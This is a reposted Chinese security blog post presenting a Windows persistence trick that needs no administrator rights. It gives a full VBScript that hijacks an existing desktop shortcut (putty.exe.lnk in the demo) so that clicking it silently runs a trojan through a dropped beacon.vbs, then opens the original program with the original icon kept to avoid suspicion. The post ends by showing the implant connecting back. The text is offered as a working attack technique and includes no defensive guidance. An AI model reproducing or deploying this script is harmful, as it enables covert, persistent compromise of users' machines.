一种有趣的权限维持的方式

admin 2024年4月10日15:37:40评论26 views字数 1267阅读4分13秒阅读模式

这种方式我觉得挺好用的,且不需要管理员权限,我们都知道lnk文件可以指向一个exe文件,相当于一个快捷方式,所以我们可以更改指向的文件,指向我们的exe文件,但是这样的话原本的lnk文件就没用了,所以我们可以CreateShortcut方法来创建lnk快捷方式,在不损坏其原始lnk文件的情况下且可以执行我们的恶意文件。


如下vbs代码:

implant = "C:tasks恶意木马.exe"newTarget = "C:tasksbeacon.vbs"lnkName = "C:UsersAdminDesktopxxx.exe.lnk"set WshShell = WScript.CreateObject("WScript.Shell" )strDesktop = WshShell.SpecialFolders("Desktop" )set oShellLink = WshShell.CreateShortcut(strDesktop & "" & lnkName )origTarget = oShellLink.TargetPathorigArgs = oShellLink.ArgumentsorigIcon = oShellLink.IconLocationorigDir = oShellLink.WorkingDirectorySet FSO = CreateObject("Scripting.FileSystemObject")Set File = FSO.CreateTextFile(newTarget,True)File.Write "Set oShell = WScript.CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")" & vbCrLfFile.Write "oShell.Run " & chr(34) & implant & chr(34) & vbCrLfFile.Write "oShell.Run " & chr(34) & oShellLink.TargetPath & " " & oShellLink.Arguments & chr(34) & vbCrLfFile.CloseoShellLink.TargetPath = newTargetoShellLink.IconLocation = origTarget & ", 0"oShellLink.WorkingDirectory = origDiroShellLink.WindowStyle = 7oShellLink.Save

脚本如下:

大概意思就是从桌面去获取到.lnk文件,然后更改其指向的目标文件,这种方法需要通过创建一个vbs文件来进行完成,这个vbs文件会执行原始文件和我们的木马文件。

一种有趣的权限维持的方式

wscrip pro.vbs

现在putty.exe.lnk文件已经被修改了。

可以看到文件指向的目标就是我们的beacon.vbs文件了。

一种有趣的权限维持的方式

而执行beacon.vbs文件,就会执行原始的程序以及我们的木马文件。

可以看到成功上线。

一种有趣的权限维持的方式

一种有趣的权限维持的方式

本节就先到这里,期待和您的下次相遇!!!

原文始发于微信公众号(Relay学安全):一种有趣的权限维持的方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日15:37:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一种有趣的权限维持的方式https://cn-sec.com/archives/2638739.html

发表评论

匿名网友 填写信息